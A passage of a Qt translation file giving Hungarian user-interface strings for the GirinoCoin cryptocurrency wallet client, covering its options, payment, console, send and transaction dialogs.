munkakönyvtárból.</translation> </message> <message> <source>Open Configuration File</source> <translation>Konfigurációs Fájl Megnyitása</translation> </message> <message> <source>Reset all client options to default.</source> <translation>Minden kliens beállítás visszaállítása alaphelyzetbe.</translation> </message> <message> <source>&amp;Reset Options</source> <translation>&amp;Visszaállítja a Beállításokat</translation> </message> <message> <source>&amp;Network</source> <translation>&amp;Hálózat</translation> </message> <message> <source>(0 = auto, &lt;0 = leave that many cores free)</source> <translation>(0 = automatikus, &lt;0 = ennyi processzormagot hagyjon szabadon)</translation> </message> <message> <source>W&amp;allet</source> <translation>T&amp;árca</translation> </message> <message> <source>Expert</source> <translation>Haladó</translation> </message> <message> <source>Enable coin &amp;control features</source> <translation>Pénzküldés beállításainak engedélyezése</translation> </message> <message> <source>If you disable the spending of unconfirmed change, the change from a transaction cannot be used until that transaction has at least one confirmation. This also affects how your balance is computed.</source> <translation>Ha letiltja a jóváhagyatlan visszajáró elköltését, akkor egy tranzakcióból származó visszajárót nem lehet felhasználni, amíg legalább egy jóváhagyás nem történik. Ez befolyásolja az egyenlegének a kiszámítását is.</translation> </message> <message> <source>&amp;Spend unconfirmed change</source> <translation>&amp;Költése a a jóváhagyatlan visszajárónak</translation> </message> <message> <source>Automatically open the GirinoCoin client port on the router. This only works when your router supports UPnP and it is enabled.</source> <translation>Automatikusan nyissa meg a GirinoCoin kliens által használt portot a routeren. Ez csak akkor működik, ha a router támogatja a UPnP-t, és engedélyezett ez a beállítás.</translation> </message> <message> <source>Map port using &amp;UPnP</source> <translation>Port feltérképezése &amp;UPnP használatával</translation> </message> <message> <source>Accept connections from outside.</source> <translation>Kívülről érkező kapcsolatok fogadása.</translation> </message> <message> <source>Allow incomin&amp;g connections</source> <translation>&amp;Bejövő kapcsolatok engedélyezése</translation> </message> <message> <source>Connect to the GirinoCoin network through a SOCKS5 proxy.</source> <translation>Csatlakozás a GirinoCoin hálózathoz SOCKS5 proxy használatával.</translation> </message> <message> <source>&amp;Connect through SOCKS5 proxy (default proxy):</source> <translation>&amp;Kapcsolódás SOCKS5 proxyn keresztül (alapértelmezett proxy):</translation> </message> <message> <source>Proxy &amp;IP:</source> <translation>Proxy &amp;IP:</translation> </message> <message> <source>&amp;Port:</source> <translation>&amp;Port:</translation> </message> <message> <source>Port of the proxy (e.g. 9050)</source> <translation>Proxy portja (pl.: 9050)</translation> </message> <message> <source>Used for reaching peers via:</source> <translation>Párok elérésére használjuk ezen keresztül:</translation> </message> <message> <source>IPv4</source> <translation>IPv4</translation> </message> <message> <source>IPv6</source> <translation>IPv6</translation> </message> <message> <source>Tor</source> <translation>Tor</translation> </message> <message> <source>Connect to the GirinoCoin network through a separate SOCKS5 proxy for Tor hidden services.</source> <translation>Csatlakozás a GirinoCoin hálózathoz külön SOCKS5 proxy használatával a Tor rejtett szolgáltatásainak eléréséhez.</translation> </message> <message> <source>&amp;Window</source> <translation>&amp;Ablak</translation> </message> <message> <source>Show only a tray icon after minimizing the window.</source> <translation>Csak az ablak elrejtése után mutassa a tálca ikont.</translation> </message> <message> <source>&amp;Minimize to the tray instead of the taskbar</source> <translation>&amp;Elrejtés a tálcára ikon formában, a tálcán látható futó program helyett</translation> </message> <message> <source>M&amp;inimize on close</source> <translation>&amp;Elrejtés bezáráskor</translation> </message> <message> <source>&amp;Display</source> <translation>&amp;Mutatás</translation> </message> <message> <source>User Interface &amp;language:</source> <translation>Felhasználói felület &amp;nyelve:</translation> </message> <message> <source>The user interface language can be set here. This setting will take effect after restarting %1.</source> <translation>A felhasználói felület nyelvét tudja itt beállítani. Ez a beállítás csak a %1 újraindítása után lép életbe.</translation> </message> <message> <source>&amp;Unit to show amounts in:</source> <translation>&amp;Mértékegység amelyben mutassa az összegeket:</translation> </message> <message> <source>Choose the default subdivision unit to show in the interface and when sending coins.</source> <translation>Válassza ki az alapértelmezett részmértékegységet, amely megjelenik a felhasználói felületen és pénzküldéskor.</translation> </message> <message> <source>Whether to show coin control features or not.</source> <translation>Mutassa a pénzküldés beállításait vagy ne.</translation> </message> <message> <source>&amp;Third party transaction URLs</source> <translation>&amp;Harmadik féltől származó tranzakciós URL-ek</translation> </message> <message> <source>&amp;OK</source> <translation>&amp;OK</translation> </message> <message> <source>&amp;Cancel</source> <translation>&amp;Mégse</translation> </message> <message> <source>default</source> <translation>alapméretezett</translation> </message> <message> <source>none</source> <translation>semmi</translation> </message> <message> <source>Confirm options reset</source> <translation>Opciók visszaállításának megerősítése</translation> </message> <message> <source>Client restart required to activate changes.</source> <translation>Újra kell indítani a programot a beállítások alkalmazásához.</translation> </message> <message> <source>Client will be shut down. Do you want to proceed?</source> <translation>A kliens le fog állni. Szeretné folytatni?</translation> </message> <message> <source>Configuration options</source> <translation>Beállítási lehetőségek</translation> </message> <message> <source>The configuration file is used to specify advanced user options which override GUI settings. Additionally, any command-line options will override this configuration file.</source> <translation>A konfigurációs fájlt a haladó felhasználók olyan beállításokra használhatják, amelyek felülírják a grafikus felület beállításait. Azonban bármely parancssori beállítás felülírja a konfigurációs fájl beállításait.</translation> </message> <message> <source>Error</source> <translation>Hiba</translation> </message> <message> <source>The configuration file could not be opened.</source> <translation>Nem sikerült megnyitni a konfigurációs fájlt.</translation> </message> <message> <source>This change would require a client restart.</source> <translation>Ehhez a változtatáshoz újra kellene indítani a klienst.</translation> </message> <message> <source>The supplied proxy address is invalid.</source> <translation>A megadott proxy cím érvénytelen.</translation> </message> </context> <context> <name>OverviewPage</name> <message> <source>Form</source> <translation>Űrlap</translation> </message> <message> <source>The displayed information may be out of date. Your wallet automatically synchronizes with the GirinoCoin network after a connection is established, but this process has not completed yet.</source> <translation>Lehet, hogy a megjelenített információ elavult. A tárcája automatikusan szinkronizál a hálózattal kapcsolódás után, de a folyamat még nem ért véget.</translation> </message> <message> <source>Watch-only:</source> <translation>Megfigyelés:</translation> </message> <message> <source>Available:</source> <translation>Elérhető:</translation> </message> <message> <source>Your current spendable balance</source> <translation>Felhasználható egyenlege</translation> </message> <message> <source>Pending:</source> <translation>Függőben:</translation> </message> <message> <source>Total of transactions that have yet to be confirmed, and do not yet count toward the spendable balance</source> <translation>A tranzakciók száma, amelyeket még hitelesíteni kell, és amelyek még nem tartoznak az elkölthető egyenlegbe.</translation> </message> <message> <source>Immature:</source> <translation>Éretlen:</translation> </message> <message> <source>Mined balance that has not yet matured</source> <translation>Bányászott egyenleg, mely jelenleg még éretlen</translation> </message> <message> <source>Balances</source> <translation>Egyenlegek</translation> </message> <message> <source>Total:</source> <translation>Összesen:</translation> </message> <message> <source>Your current total balance</source> <translation>Jelenlegi teljes egyenlege</translation> </message> <message> <source>Your current balance in watch-only addresses</source> <translation>A csak megfigyelt címeinek az egyenlege</translation> </message> <message> <source>Spendable:</source> <translation>Elkölthető:</translation> </message> <message> <source>Recent transactions</source> <translation>Legutóbbi tranzakciók</translation> </message> <message> <source>Unconfirmed transactions to watch-only addresses</source> <translation>A csak megfigyelt címek hitelesítetlen tranzakciói</translation> </message> <message> <source>Mined balance in watch-only addresses that has not yet matured</source> <translation>A csak megfigyelt címek bányászott, még éretlen egyenlege</translation> </message> <message> <source>Current total balance in watch-only addresses</source> <translation>A csak megfigyelt címek jelenlegi teljes egyenlege</translation> </message> </context> <context> <name>PaymentServer</name> <message> <source>Payment request error</source> <translation>Hiba történt a fizetési kérelem során</translation> </message> <message> <source>Cannot start girinocoin: click-to-pay handler</source> <translation>A girinocoin nem tud elindulni: click-to-pay kezelő</translation> </message> <message> <source>URI handling</source> <translation>URI kezelése</translation> </message> <message> <source>Invalid payment address %1</source> <translation>Érvénytelen fizetési cím %1</translation> </message> <message> <source>URI cannot be parsed! This can be caused by an invalid GirinoCoin address or malformed URI parameters.</source> <translation>Az URI nem dolgozható fel! Ennek oka lehet egy érvénytelen GirinoCoin-cím, vagy hibás URI-paraméterek.</translation> </message> <message> <source>Payment request file handling</source> <translation>Fizetésikérelem-fájl kezelése</translation> </message> <message> <source>Payment request file cannot be read! This can be caused by an invalid payment request file.</source> <translation>A fizetésikérelem-fájl nem olvasható! Lehet, hogy hibás a fájl.</translation> </message> <message> <source>Payment request rejected</source> <translation>Fizetési kérelem elutasítva</translation> </message> <message> <source>Payment request network doesn't match client network.</source> <translation>A fizetési kérelem hálózat nem egyezik a kliens hálózatával.</translation> </message> <message> <source>Payment request expired.</source> <translation>Fizetési kérelem lejárt</translation> </message> <message> <source>Payment request is not initialized.</source> <translation>Fizetési kérelem nincs inicializálva.</translation> </message> <message> <source>Invalid payment request.</source> <translation>Érvénytelen fizetési kérelem</translation> </message> <message> <source>Requested payment amount of %1 is too small (considered dust).</source> <translation>A %1 fizetésre kért összege túl kevés (porszemnek minősül).</translation> </message> <message> <source>Refund from %1</source> <translation>Visszatérítés innen: %1</translation> </message> <message> <source>Payment request %1 is too large (%2 bytes, allowed %3 bytes).</source> <translation>A %1 fizetési kérelem túl nagy (%2 bájt, megengedett: %3 bájt).</translation> </message> <message> <source>Error communicating with %1: %2</source> <translation>Hiba a kommunikáció során %1 -el: %2</translation> </message> <message> <source>Payment request cannot be parsed!</source> <translation>A fizetési kérelem nem dolgozható fel!</translation> </message> <message> <source>Bad response from server %1</source> <translation>Rossz válasz a szervertől %1</translation> </message> <message> <source>Network request error</source> <translation>Hálózati hiba történt</translation> </message> <message> <source>Payment acknowledged</source> <translation>Fizetés nyugtázva</translation> </message> </context> <context> <name>PeerTableModel</name> <message> <source>User Agent</source> <translation>User Agent</translation> </message> <message> <source>Node/Service</source> <translation>Csomópont/Szolgáltatás</translation> </message> <message> <source>NodeId</source> <translation>Csomópont azonosító</translation> </message> <message> <source>Ping</source> <translation>Ping</translation> </message> <message> <source>Sent</source> <translation>Elküldve</translation> </message> <message> <source>Received</source> <translation>Fogadva</translation> </message> </context> <context> <name>QObject</name> <message> <source>Amount</source> <translation>Összeg</translation> </message> <message> <source>Enter a GirinoCoin address (e.g. %1)</source> <translation>Adjon meg egy GirinoCoin-címet (pl. %1)</translation> </message> <message> <source>%1 d</source> <translation>%1 n</translation> </message> <message> <source>%1 h</source> <translation>%1 ó</translation> </message> <message> <source>%1 m</source> <translation>%1 p</translation> </message> <message> <source>%1 s</source> <translation>%1 mp</translation> </message> <message> <source>None</source> <translation>Nincs</translation> </message> <message> <source>N/A</source> <translation>N/A</translation> </message> <message> <source>%1 ms</source> <translation>%1 ms</translation> </message> <message numerus="yes"> <source>%n second(s)</source> <translation><numerusform>%n másodperc</numerusform><numerusform>%n másodperc</numerusform></translation> </message> <message numerus="yes"> <source>%n minute(s)</source> <translation><numerusform>%n perc</numerusform><numerusform>%n perc</numerusform></translation> </message> <message numerus="yes"> <source>%n hour(s)</source> <translation><numerusform>%n óra</numerusform><numerusform>%n óra</numerusform></translation> </message> <message numerus="yes"> <source>%n day(s)</source> <translation><numerusform>%n nap</numerusform><numerusform>%n nap</numerusform></translation> </message> <message numerus="yes"> <source>%n week(s)</source> <translation><numerusform>%n hét</numerusform><numerusform>%n hét</numerusform></translation> </message> <message> <source>%1 and %2</source> <translation>%1 és %2</translation> </message> <message numerus="yes"> <source>%n year(s)</source> <translation><numerusform>%n év</numerusform><numerusform>%n év</numerusform></translation> </message> <message> <source>%1 B</source> <translation>%1 B</translation> </message> <message> <source>%1 KB</source> <translation>%1 KB</translation> </message> <message> <source>%1 MB</source> <translation>%1 MB</translation> </message> <message> <source>%1 GB</source> <translation>%1 GB</translation> </message> <message> <source>%1 didn't yet exit safely...</source> <translation>%1 még nem lépett ki biztonságosan...</translation> </message> <message> <source>unknown</source> <translation>ismeretlen</translation> </message> </context> <context> <name>QObject::QObject</name> <message> <source>Error: Specified data directory "%1" does not exist.</source> <translation>Hiba: A megadott "%1" adatkönyvtár nem létezik.</translation> </message> <message> <source>Error: %1</source> <translation>Hiba: %1</translation> </message> </context> <context> <name>QRImageWidget</name> <message> <source>&amp;Save Image...</source> <translation>Kép &amp;mentése</translation> </message> <message> <source>&amp;Copy Image</source> <translation>Kép má&amp;solása</translation> </message> <message> <source>Save QR Code</source> <translation>QR-kód mentése</translation> </message> <message> <source>PNG Image (*.png)</source> <translation>PNG kép (*.png)</translation> </message> </context> <context> <name>RPCConsole</name> <message> <source>N/A</source> <translation>N/A</translation> </message> <message> <source>Client version</source> <translation>Kliens verzió</translation> </message> <message> <source>&amp;Information</source> <translation>&amp;Információ</translation> </message> <message> <source>Debug window</source> <translation>Hibakereső ablak</translation> </message> <message> <source>General</source> <translation>Általános</translation> </message> <message> <source>Using BerkeleyDB version</source> <translation>BerkeleyDB verzió</translation> </message> <message> <source>Datadir</source> <translation>Adat elérési útja</translation> </message> <message> <source>Startup time</source> <translation>Indítás időpontja</translation> </message> <message> <source>Network</source> <translation>Hálózat</translation> </message> <message> <source>Name</source> <translation>Név</translation> </message> <message> <source>Number of connections</source> <translation>Kapcsolatok száma</translation> </message> <message> <source>Block chain</source> <translation>Blokklánc</translation> </message> <message> <source>Current number of blocks</source> <translation>Blokkok aktuális száma</translation> </message> <message> <source>Memory Pool</source> <translation>Memória Halom</translation> </message> <message> <source>Current number of transactions</source> <translation>Tranzakciók pillanatnyi száma</translation> </message> <message> <source>Memory usage</source> <translation>Memóriahasználat</translation> </message> <message> <source>&amp;Reset</source> <translation>&amp;Alaphelyzet</translation> </message> <message> <source>Received</source> <translation>Fogadva</translation> </message> <message> <source>Sent</source> <translation>Elküldve</translation> </message> <message> <source>&amp;Peers</source> <translation>&amp;Peer-ek</translation> </message> <message> <source>Banned peers</source> <translation>Letiltott peer-ek</translation> </message> <message> <source>Select a peer to view detailed information.</source> <translation>Peer kijelölése a részletes információkért</translation> </message> <message> <source>Whitelisted</source> <translation>Engedélyezett</translation> </message> <message> <source>Direction</source> <translation>Irány</translation> </message> <message> <source>Version</source> <translation>Verzió</translation> </message> <message> <source>Starting Block</source> <translation>Kezdeti blokk</translation> </message> <message> <source>Synced Headers</source> <translation>Szikronizált fejlécek</translation> </message> <message> <source>Synced Blocks</source> <translation>Szinkronizált blokkok</translation> </message> <message> <source>User Agent</source> <translation>User Agent</translation> </message> <message> <source>Open the %1 debug log file from the current data directory. This can take a few seconds for large log files.</source> <translation>A %1 hibakeresési naplófájl megnyitása a jelenlegi könyvtárból. Ez néhány másodpercig eltarthat nagyobb naplófájlok esetén.</translation> </message> <message> <source>Decrease font size</source> <translation>Betűméret csökkentése</translation> </message> <message> <source>Increase font size</source> <translation>Betűméret növelése</translation> </message> <message> <source>Services</source> <translation>Szolgáltatások</translation> </message> <message> <source>Connection Time</source> <translation>Csatlakozási idő</translation> </message> <message> <source>Last Send</source> <translation>Utolsó küldés</translation> </message> <message> <source>Last Receive</source> <translation>Utolsó fogadás</translation> </message> <message> <source>Ping Time</source> <translation>Ping idő</translation> </message> <message> <source>The duration of a currently outstanding ping.</source> <translation>A jelenlegi kiváló ping időtartama.</translation> </message> <message> <source>Ping Wait</source> <translation>Várakozás ping-re</translation> </message> <message> <source>Min Ping</source> <translation>Minimum Ping</translation> </message> <message> <source>Time Offset</source> <translation>Idő Eltolódás</translation> </message> <message> <source>Last block time</source> <translation>Utolsó blokk ideje</translation> </message> <message> <source>&amp;Open</source> <translation>&amp;Megnyitás</translation> </message> <message> <source>&amp;Console</source> <translation>&amp;Konzol</translation> </message> <message>
<translation>&amp;Hálózati forgalom</translation> </message> <message> <source>Totals</source> <translation>Összesen</translation> </message> <message> <source>In:</source> <translation>Be:</translation> </message> <message> <source>Out:</source> <translation>Ki:</translation> </message> <message> <source>Debug log file</source> <translation>Hibakeresési napló fájl</translation> </message> <message> <source>Clear console</source> <translation>Konzol ürítése</translation> </message> <message> <source>1 &amp;hour</source> <translation>1 &amp;óra</translation> </message> <message> <source>1 &amp;day</source> <translation>1 &amp;nap</translation> </message> <message> <source>1 &amp;week</source> <translation>1 &amp;hét</translation> </message> <message> <source>1 &amp;year</source> <translation>1 &amp;év</translation> </message> <message> <source>&amp;Disconnect</source> <translation>&amp;Szétkapcsol</translation> </message> <message> <source>Ban for</source> <translation>Tiltás oka</translation> </message> <message> <source>&amp;Unban</source> <translation>&amp;Tiltás feloldása</translation> </message> <message> <source>Welcome to the %1 RPC console.</source> <translation>Üdv az %1 RPC konzoljában.</translation> </message> <message> <source>Use up and down arrows to navigate history, and %1 to clear screen.</source> <translation>Az előzmények közötti navigálásához használd a fel és le nyilakat, és %1-t a képernyő törléséhez.</translation> </message> <message> <source>Type %1 for an overview of available commands.</source> <translation>Írja be a %1 parancsot az elérhető utasítások áttekintéséhez.</translation> </message> <message> <source>WARNING: Scammers have been active, telling users to type commands here, stealing their wallet contents. Do not use this console without fully understanding the ramifications of a command.</source> <translation>FIGYELEM: Csalók megpróbálnak felhasználókat rávenni, hogy parancsokat írjanak be ide, és ellopják a tárca tartalmát. Ne használja ezt a konzolt anélkül, hogy teljesen megértené egy parancs kiadásának a következményeit.</translation> </message> <message> <source>Network activity disabled</source> <translation>Hálózat aktivitása letiltva</translation> </message> <message> <source>(node id: %1)</source> <translation>(csomópont azonosító: %1)</translation> </message> <message> <source>via %1</source> <translation>%1-n keresztül</translation> </message> <message> <source>never</source> <translation>soha</translation> </message> <message> <source>Inbound</source> <translation>Bejövő</translation> </message> <message> <source>Outbound</source> <translation>Kimenő</translation> </message> <message> <source>Yes</source> <translation>Igen</translation> </message> <message> <source>No</source> <translation>Nem</translation> </message> <message> <source>Unknown</source> <translation>Ismeretlen</translation> </message> </context> <context> <name>ReceiveCoinsDialog</name> <message> <source>&amp;Amount:</source> <translation>&amp;Összeg:</translation> </message> <message> <source>&amp;Label:</source> <translation>&amp;Címke:</translation> </message> <message> <source>&amp;Message:</source> <translation>&amp;Üzenet:</translation> </message> <message> <source>An optional message to attach to the payment request, which will be displayed when the request is opened. Note: The message will not be sent with the payment over the GirinoCoin network.</source> <translation>Opciónális üzenet csatolása a fizetési kérelemhez, ami a kérelem megnyitásakor megjelenik. Megjegyzés: Az üzenet nem lesz elküldve a fizetéssel a GirinoCoin hálózaton.</translation> </message> <message> <source>An optional label to associate with the new receiving address.</source> <translation>Opcionális címke hozzáadása az új fogadó címhez.</translation> </message> <message> <source>Use this form to request payments. All fields are &lt;b&gt;optional&lt;/b&gt;.</source> <translation>Használja ezt az űrlapot fizetések kérésére. Minden mező &lt;b&gt;opcionális&lt;/b&gt;.</translation> </message> <message> <source>An optional amount to request. Leave this empty or zero to not request a specific amount.</source> <translation>Egy opcionálisan kérhető összeg. Hagyja üresen, vagy írjon be nullát, ha nem kívánja használni.</translation> </message> <message> <source>Clear all fields of the form.</source> <translation>Az űrlap összes mezőjének törlése</translation> </message> <message> <source>Clear</source> <translation>Törlés</translation> </message> <message> <source>Requested payments history</source> <translation>A kért kifizetések előzménye</translation> </message> <message> <source>&amp;Request payment</source> <translation>&amp;Fizetési kérelem</translation> </message> <message> <source>Show the selected request (does the same as double clicking an entry)</source> <translation>Mutassa meg a kiválasztott kérelmet (ugyanaz, mint a duplaklikk)</translation> </message> <message> <source>Show</source> <translation>Megmutatás</translation> </message> <message> <source>Remove the selected entries from the list</source> <translation>A kijelölt elemek törlése a listáról</translation> </message> <message> <source>Remove</source> <translation>Eltávolítás</translation> </message> <message> <source>Copy URI</source> <translation>URI másolása</translation> </message> <message> <source>Copy label</source> <translation>Címke másolása</translation> </message> <message> <source>Copy message</source> <translation>Üzenet másolása</translation> </message> <message> <source>Copy amount</source> <translation>Összeg másolása</translation> </message> </context> <context> <name>ReceiveRequestDialog</name> <message> <source>QR Code</source> <translation>QR-kód</translation> </message> <message> <source>Copy &amp;URI</source> <translation>&amp;URI másolása</translation> </message> <message> <source>Copy &amp;Address</source> <translation>&amp;Cím másolása</translation> </message> <message> <source>&amp;Save Image...</source> <translation>Kép &amp;mentése</translation> </message> <message> <source>Request payment to %1</source> <translation>Fizetési kérelem tőle: %1</translation> </message> <message> <source>Payment information</source> <translation>Fizetési információ</translation> </message> <message> <source>URI</source> <translation>URI</translation> </message> <message> <source>Address</source> <translation>Cím</translation> </message> <message> <source>Amount</source> <translation>Összeg</translation> </message> <message> <source>Label</source> <translation>Címke</translation> </message> <message> <source>Message</source> <translation>Üzenet</translation> </message> <message> <source>Resulting URI too long, try to reduce the text for label / message.</source> <translation>A keletkezett URI túl hosszú, próbálja meg csökkenteni a cimke / üzenet szövegének méretét.</translation> </message> <message> <source>Error encoding URI into QR Code.</source> <translation>Hiba lépett fel az URI QR kóddá alakításakor.</translation> </message> </context> <context> <name>RecentRequestsTableModel</name> <message> <source>Date</source> <translation>Dátum</translation> </message> <message> <source>Label</source> <translation>Címke</translation> </message> <message> <source>Message</source> <translation>Üzenet</translation> </message> <message> <source>(no label)</source> <translation>(nincs címke)</translation> </message> <message> <source>(no message)</source> <translation>(nincs üzenet)</translation> </message> <message> <source>(no amount requested)</source> <translation>(nem kért összeget)</translation> </message> <message> <source>Requested</source> <translation>Kért</translation> </message> </context> <context> <name>SendCoinsDialog</name> <message> <source>Send Coins</source> <translation>Érmék küldése</translation> </message> <message> <source>Coin Control Features</source> <translation>Pénzküldés beállításai</translation> </message> <message> <source>Inputs...</source> <translation>Bemenetek...</translation> </message> <message> <source>automatically selected</source> <translation>automatikusan kiválasztva</translation> </message> <message> <source>Insufficient funds!</source> <translation>Fedezethiány!</translation> </message> <message> <source>Quantity:</source> <translation>Mennyiség:</translation> </message> <message> <source>Bytes:</source> <translation>Bájtok:</translation> </message> <message> <source>Amount:</source> <translation>Öszeg:</translation> </message> <message> <source>Fee:</source> <translation>Díj:</translation> </message> <message> <source>After Fee:</source> <translation>Eljárási díj után:</translation> </message> <message> <source>Change:</source> <translation>Visszajáró:</translation> </message> <message> <source>If this is activated, but the change address is empty or invalid, change will be sent to a newly generated address.</source> <translation>Ha ezt a beállítást engedélyezi, de a visszajáró cím érvénytelen, a visszajáró egy újonnan generált címre lesz küldve.</translation> </message> <message> <source>Custom change address</source> <translation>Egyedi visszajáró cím</translation> </message> <message> <source>Transaction Fee:</source> <translation>Tranzakciós díj:</translation> </message> <message> <source>Choose...</source> <translation>Választás...</translation> </message> <message> <source>Warning: Fee estimation is currently not possible.</source> <translation>Figyelem: A hozzávetőleges díjszámítás jelenleg nem lehetséges.</translation> </message> <message> <source>per kilobyte</source> <translation>kilobájtonként</translation> </message> <message> <source>Hide</source> <translation>Elrejtés</translation> </message> <message> <source>Recommended:</source> <translation>Ajánlott:</translation> </message> <message> <source>Custom:</source> <translation>Egyedi:</translation> </message> <message> <source>Send to multiple recipients at once</source> <translation>Küldés egyszerre több címzettnek</translation> </message> <message> <source>Clear all fields of the form.</source> <translation>Az űrlap összes mezőjének törlése</translation> </message> <message> <source>Dust:</source> <translation>Porszem:</translation> </message> <message> <source>Confirmation time target:</source> <translation>Megerősítési idő cél:</translation> </message> <message> <source>Clear &amp;All</source> <translation>&amp;Mindent töröl</translation> </message> <message> <source>Balance:</source> <translation>Egyenleg:</translation> </message> <message> <source>S&amp;end</source> <translation>&amp;Küldés</translation> </message> <message> <source>Copy quantity</source> <translation>Mennyiség másolása</translation> </message> <message> <source>Copy amount</source> <translation>Összeg másolása</translation> </message> <message> <source>Copy fee</source> <translation>Díj másolása</translation> </message> <message> <source>Copy after fee</source> <translation>Eljárási díj utáni másolás</translation> </message> <message> <source>Copy bytes</source> <translation>Bájtok másolása</translation> </message> <message> <source>Copy dust</source> <translation>Por másolása</translation> </message> <message> <source>Copy change</source> <translation>Változás másolása</translation> </message> <message> <source>Are you sure you want to send?</source> <translation>Biztosan elküldi?</translation> </message> <message> <source>or</source> <translation>vagy</translation> </message> <message> <source>The amount to pay must be larger than 0.</source> <translation>Az összegnek nagyobbnak kell lennie, mint 0.</translation> </message> <message> <source>The amount exceeds your balance.</source> <translation>Az összeg túlhaladja az egyenleged.</translation> </message> <message> <source>Transaction creation failed!</source> <translation>Tranzakció készítése sikertelen!</translation> </message> <message> <source>Payment request expired.</source> <translation>Fizetési kérelem lejárt</translation> </message> <message> <source>Warning: Invalid GirinoCoin address</source> <translation>Figyelem: érvénytelen GirinoCoin cím</translation> </message> <message> <source>Confirm custom change address</source> <translation>Egyedi visszajáró cím megerősítése</translation> </message> <message> <source>(no label)</source> <translation>(nincs címke)</translation> </message> </context> <context> <name>SendCoinsEntry</name> <message> <source>A&amp;mount:</source> <translation>&amp;Összeg:</translation> </message> <message> <source>&amp;Label:</source> <translation>&amp;Címke:</translation> </message> <message> <source>Choose previously used address</source> <translation>Válasszon a korábban használt címek közül</translation> </message> <message> <source>This is a normal payment.</source> <translation>Ez egy normális fizetés.</translation> </message> <message> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <source>Paste address from clipboard</source> <translation>Cím beillesztése vágólapról</translation> </message> <message> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <source>Remove this entry</source> <translation>Bejegyzés eltávolítása</translation> </message> <message> <source>Use available balance</source> <translation>Elérhető egyenleg használata</translation> </message> <message> <source>Message:</source> <translation>Üzenet:</translation> </message> <message> <source>Memo:</source> <translation>Jegyzet:</translation> </message> </context> <context> <name>SendConfirmationDialog</name> <message> <source>Yes</source> <translation>Igen</translation> </message> </context> <context> <name>ShutdownWindow</name> <message> <source>%1 is shutting down...</source> <translation>%1 leáll...</translation> </message> <message> <source>Do not shut down the computer until this window disappears.</source> <translation>Ne kapcsold ki a számítógépet, amíg ez az üzenet el nem tűnik.</translation> </message> </context> <context> <name>SignVerifyMessageDialog</name> <message> <source>Signatures - Sign / Verify a Message</source> <translation>Aláírások - Aláír / Megerősít egy Üzenetet</translation> </message> <message> <source>Choose previously used address</source> <translation>Válasszon a korábban használt címek közül</translation> </message> <message> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <source>Paste address from clipboard</source> <translation>Cím beillesztése vágólapról</translation> </message> <message> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <source>Signature</source> <translation>Aláírás</translation> </message> <message> <source>Copy the current signature to the system clipboard</source> <translation>A pillanatnyi aláírás másolása a rendszer vágólapjára</translation> </message> <message> <source>Clear &amp;All</source> <translation>&amp;Mindent töröl</translation> </message> <message> <source>&amp;Verify Message</source> <translation>&amp;Üzenet megerősítése</translation> </message> <message> <source>The entered address is invalid.</source> <translation>A beírt cím érvénytelen.</translation> </message> <message> <source>Please check the address and try again.</source> <translation>Ellenőrizze a címet majd próbálja újból.</translation> </message> <message> <source>Wallet unlock was cancelled.</source> <translation>A tárca feloldása elutasítva</translation> </message> <message> <source>Message signing failed.</source> <translation>Üzenet aláírása sikertelen</translation> </message> <message> <source>Message signed.</source> <translation>Üzenet aláírva</translation> </message> <message> <source>Please check the signature and try again.</source> <translation>Ellenőrizze az aláírást majd próbálja újból</translation> </message> <message> <source>Message verified.</source> <translation>Üzenet megerősítve.</translation> </message> </context> <context> <name>SplashScreen</name> <message> <source>[testnet]</source> <translation>[testnet]</translation> </message> </context> <context> <name>TrafficGraphWidget</name> <message> <source>KB/s</source> <translation>KB/s</translation> </message> </context> <context> <name>TransactionDesc</name> <message> <source>Status</source> <translation>Állapot</translation> </message> <message> <source>Date</source> <translation>Dátum</translation> </message> <message> <source>Source</source> <translation>Forrás</translation> </message> <message> <source>Generated</source> <translation>Létrehozott</translation> </message> <message> <source>From</source> <translation>Innen:</translation> </message> <message> <source>unknown</source> <translation>ismeretlen</translation> </message> <message> <source>To</source> <translation>Ide:</translation> </message> <message> <source>own address</source> <translation>saját címek</translation> </message> <message> <source>watch-only</source> <translation>megfigyelés</translation> </message> <message> <source>label</source> <translation>címke</translation> </message> <message> <source>not accepted</source> <translation>nem elfogadott</translation> </message> <message> <source>Transaction fee</source> <translation>Tranzakciós díj</translation> </message> <message> <source>Net amount</source> <translation>Nettó összeg</translation> </message> <message> <source>Message</source> <translation>Üzenet</translation> </message> <message> <source>Comment</source> <translation>Megjegyzés</translation> </message> <message> <source>Transaction ID</source> <translation>Tranzakció azonosító</translation> </message> <message> <source>Transaction total size</source> <translation>Tranzakció teljes mérete</translation> </message> <message> <source>Merchant</source> <translation>Kereskedő</translation> </message> <message> <source>Debug information</source> <translation>Hibakeresési információk</translation> </message> <message> <source>Transaction</source> <translation>Tranzakció</translation> </message> <message> <source>Amount</source> <translation>Összeg</translation> </message> <message> <source>true</source> <translation>igaz</translation> </message> <message> <source>false</source> <translation>hamis</translation> </message> </context> <context> <name>TransactionDescDialog</name> </context> <context> <name>TransactionTableModel</name> <message> <source>Date</source> <translation>Dátum</translation> </message> <message> <source>Type</source> <translation>Típus</translation> </message> <message> <source>Label</source> <translation>Címke</translation> </message> <message> <source>Offline</source> <translation>Offline</translation> </message> <message> <source>Unconfirmed</source> <translation>Nem megerősített</translation> </message> <message> <source>Generated but not accepted</source> <translation>Generált de nem elfogadott</translation> </message> <message> <source>Sent to</source> <translation>Küldés neki</translation> </message> <message> <source>Mined</source> <translation>Bányászott</translation> </message> <message> <source>watch-only</source> <translation>megfigyelés</translation> </message> <message> <source>(no label)</source> <translation>(nincs címke)</translation> </message> <message> <source>Type of transaction.</source> <translation>Tranzakció típusa.</translation> </message> </context> <context> <name>TransactionView</name> <message> <source>All</source> <translation>Összes</translation> </message> <message> <source>Today</source> <translation>Ma</translation> </message> <message> <source>This week</source> <translation>E héten</translation> </message> <message> <source>This month</source> <translation>E hónapban</translation> </message> <message> <source>Last month</source> <translation>Előző hónapban</translation> </message> <message> <source>This year</source> <translation>Ez évben</translation> </message> <message> <source>Range...</source> <translation>Tartomány...</translation> </message> <message> <source>Sent to</source> <translation>Küldés neki</translation> </message> <message> <source>Mined</source> <translation>Bányászott</translation> </message> <message> <source>Other</source> <translation>Egyéb</translation> </message> <message> <source>Min amount</source> <translation>Minimum összeg</translation> </message> <message> <source>Copy address</source> <translation>Cím másolása</translation> </message> <message> <source>Copy label</source> <translation>Címke 